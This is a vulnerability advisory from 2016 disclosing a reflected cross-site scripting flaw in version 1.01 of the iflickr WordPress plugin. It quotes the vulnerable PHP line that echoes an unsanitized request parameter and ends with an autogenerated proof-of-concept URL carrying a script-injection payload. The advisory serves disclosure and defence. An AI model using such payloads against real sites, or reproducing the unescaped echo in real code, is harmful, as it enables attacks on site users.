Advisory #: 868
Title: Reflected XSS in wordpress plugin iflickr v1.01
Author: Larry W. Cashdollar, @_larry0
Date: 2016-02-09
Download Site: https://wordpress.org/plugins/iflickr
Downloads: 2379
Vendor Notified: 2016-02-09
Export: Json
Vendor Contact: plugins@wordpress.org
Plugin Name: iflickr
Vulnerability:
There is a reflected XSS vulnerability in the following php code ./iflickr/iflickr.php: 233: data: 'action=iflickr_load_properties&post_id='+postID+'&photo_id=<?php echo $_REQUEST['photo_id'] ?>&referer=' + escape('<?php echo $_SERVER['HTTP_REFERER'] ?>'), The variable photo_id appears to send unsanitized data back to the users browser.
CVE-ID: Not Released
File:./iflickr/iflickr.php
Exploit Code:
Exploit was derived from appearance of first vulnerable parameter in code, there could be more shown above.
  1. This is an untested autogenerated exploit:
  2. http://[target]/wp-content/plugins/iflickr/iflickr.php?photo_id="><script>alert(1);</script><"